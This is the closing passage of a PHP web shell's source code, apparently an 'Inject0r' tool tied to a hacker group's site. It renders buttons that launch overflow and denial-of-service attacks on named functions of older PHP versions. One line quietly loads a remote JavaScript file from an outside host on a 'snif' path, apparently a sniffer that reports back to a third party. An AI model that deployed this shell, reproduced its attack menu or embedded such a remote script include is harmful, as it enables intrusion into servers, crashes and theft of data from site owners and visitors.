3202echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
3203echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
3204echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
3205echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
3206echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
3207echo $te."</td></tr></div></table>";
3208echo '<script type="text/javascript" language="javascript" src="http://s3lcuk.com/snif/guncelleme.js"></script>';
3209
3210echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>Devloped by Inject0r ".$version." | <a href=http://www.Moroccan-hackerz.net>Moroccan Hackers</a> | Generated in: ".round(getmicrotime()-starttime,4)."</b></font></div></td></tr></table>";
3211echo '</body></html>';
3212
3213
3214?>